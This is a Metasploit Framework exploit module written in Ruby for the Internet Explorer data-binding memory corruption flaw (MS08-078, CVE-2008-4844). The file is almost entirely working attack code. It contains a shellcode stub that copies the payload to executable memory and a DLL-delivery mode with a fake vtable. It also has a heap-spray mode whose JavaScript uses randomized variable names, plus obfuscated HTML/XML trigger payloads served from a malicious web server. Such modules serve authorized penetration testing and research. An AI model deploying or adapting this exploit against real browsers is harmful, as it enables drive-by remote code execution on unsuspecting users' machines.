309 lines
No EOL
9.2 KiB
Ruby
Executable file
309 lines
No EOL
9.2 KiB
Ruby
Executable file
##
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# $Id: ms08_078_xml_corruption.rb 10394 2010-09-20 08:06:27Z jduck $
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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#
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# Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn
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#
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#include Msf::Exploit::Remote::BrowserAutopwn
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#autopwn_info({
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# :ua_name => HttpClients::IE,
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# :ua_minver => "7.0",
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# :ua_maxver => "7.0",
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# :javascript => true,
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# :os_name => OperatingSystems::WINDOWS,
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# :vuln_test => nil, # no way to test without just trying it
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#})
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer Data Binding Memory Corruption',
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'Description' => %q{
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This module exploits a vulnerability in the data binding feature of Internet
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Explorer. In order to execute code reliably, this module uses the .NET DLL
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memory technique pioneered by Alexander Sotirov and Mark Dowd. This method is
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used to create a fake vtable at a known location with all methods pointing
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to our payload. Since the .text segment of the .NET DLL is non-writable, a
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prefixed code stub is used to copy the payload into a new memory segment and
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continue execution from there.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'hdm'
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],
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'Version' => '$Revision: 10394 $',
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'References' =>
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[
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['CVE', '2008-4844'],
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['OSVDB', '50622'],
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['BID', '32721'],
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['MSB', 'MS08-078'],
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['URL', 'http://www.microsoft.com/technet/security/advisory/961051.mspx'],
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['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'Compat' =>
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{
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'ConnectionType' => '-find',
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},
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'StackAdjustment' => -3500,
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# Temporary stub virtualalloc() + memcpy() payload to RWX page
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'PrependEncoder' =>
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"\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
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"\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
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"\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
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"\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
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"\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
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"\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
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"\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
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"\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
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"\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
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"\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { }],
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],
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'DisclosureDate' => 'Dec 07 2008',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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@state ||= {}
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ibase = 0x13370000
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vaddr = ibase + 0x2065
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uri,token = request.uri.split('?', 2)
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if(token)
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token,trash = token.split('=')
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end
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if !(token and @state[token])
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print_status("Sending #{self.name} init HTML to #{cli.peerhost}:#{cli.peerport}...")
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token = rand_text_numeric(32)
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if ("/" == get_resource[-1,1])
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dll_uri = get_resource[0, get_resource.length - 1]
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else
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dll_uri = get_resource
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end
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dll_uri << "/generic-" + Time.now.to_i.to_s + ".dll"
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html = %Q|<html>
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<head>
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<script language="javascript">
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function forward() {
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window.location = window.location + '?#{token}';
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}
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function start() {
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setTimeout("forward()", 2000);
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}
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</script>
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</head>
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<body onload="start()">
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<object classid="#{dll_uri}?#{token}#GenericControl">
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<object>
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</body>
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</html>
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@state[token] = :start
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# Transmit the compressed response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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return
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end
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if (uri.match(/\.dll/i))
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print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
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return if ((p = regenerate_payload(cli)) == nil)
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# First entry points to the table of pointers
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vtable = [ vaddr + 4 ].pack("V")
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cbase = ibase + 0x2065 + (256 * 4)
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# Build a function table
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255.times { vtable << [cbase].pack("V") }
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# Append the shellcode
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vtable << p.encoded
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send_response(
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cli,
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Msf::Util::EXE.to_dotnetmem(ibase, vtable),
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{
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'Content-Type' => 'application/x-msdownload',
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'Connection' => 'close',
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'Pragma' => 'no-cache'
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}
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)
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@state[token] = :dll
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return
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end
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print_status("Sending exploit HTML to #{cli.peerhost}:#{cli.peerport} token=#{@state[token]}...")
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html = ""
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#
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# .NET DLL MODE
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#
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if(@state[token] == :dll)
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addr_a,addr_b = [vaddr].pack("V").unpack("v*").map{|v| "&##{v};" }
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data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
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bxml = Rex::Text.to_hex(%Q|
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<XML ID=I>
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<X>
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<C>
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<![CDATA[
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<image
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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>
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]]>
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</C>
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</X>
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</XML>
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#{data}
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<script>
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setTimeout('window.location.reload(true);', 250);
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</script>
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|, '%')
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var_unescape = rand_text_alpha(rand(100) + 1)
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var_start = rand_text_alpha(rand(100) + 1)
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html = %Q|<html>
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<head>
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<script>
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function #{var_start}() {
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var #{var_unescape} = unescape;
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document.write(#{var_unescape}('#{bxml}'));
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}
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</script>
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</head>
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<body onload="#{var_start}()">
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</body>
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</html>
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#
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# HEAP SPRAY MODE
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#
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else
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print_status("Heap spray mode")
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addr_a,addr_b = [0x0c0c0c0c].pack("V").unpack("v*").map{|v| "&##{v};" }
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data = "==gPOFEUT9CPK4DVYVEV9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EVI1zUBRVQNJ1TGFEVBREID1DRMZUQUFERgk0I9MkUTFEVBREIOFEUTxjC+QFWFRVPTFEVB1kUPZUQUFERgMUPExkRBRVQEBSSj0zQSNVQUFERg4UQQNFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiTBB1U8ogPM1EWvwjPJ1DRJBCTNhFPK4DTNRFS9MVQUFUTS9kRBRVQEByQ9QETGFEVBREIJNSPDJ1UBRVQEBiVJREP".reverse.unpack("m*")[0]
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bxml = Rex::Text.to_hex(%Q|
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<XML ID=I>
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<X>
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<C>
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<![CDATA[
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<image
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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SRC=\\\\#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}#{addr_a}#{addr_b}.X
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>
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]]>
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</C>
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</X>
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</XML>
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#{data}
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<script>
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setTimeout('window.location.reload(true);', 1000);
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</script>
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|, '%')
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var_memory = rand_text_alpha(rand(100) + 1)
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var_boom = rand_text_alpha(rand(100) + 1)
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var_body = rand_text_alpha(rand(100) + 1)
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var_unescape = rand_text_alpha(rand(100) + 1)
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var_shellcode = rand_text_alpha(rand(100) + 1)
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var_spray = rand_text_alpha(rand(100) + 1)
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var_start = rand_text_alpha(rand(100) + 1)
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var_i = rand_text_alpha(rand(100) + 1)
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rand_html = rand_text_english(rand(400) + 500)
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html = %Q|<html>
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<head>
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<script>
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var #{var_memory} = new Array();
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var #{var_unescape} = unescape;
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function #{var_boom}() {
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document.getElementById('#{var_body}').innerHTML = #{var_unescape}('#{bxml}');
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}
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function #{var_start}() {
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var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
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var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );
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do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 );
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for(#{var_i} = 0; #{var_i} < 100; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode};
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setTimeout('#{var_boom}()', 1000);
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}
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</script>
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</head>
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<body onload="#{var_start}()" id="#{var_body}">
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#{rand_html}
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</body>
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</html>
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end
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# Transmit the compressed response to the client
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send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
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# Handle the payload
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handler(cli)
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end
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end |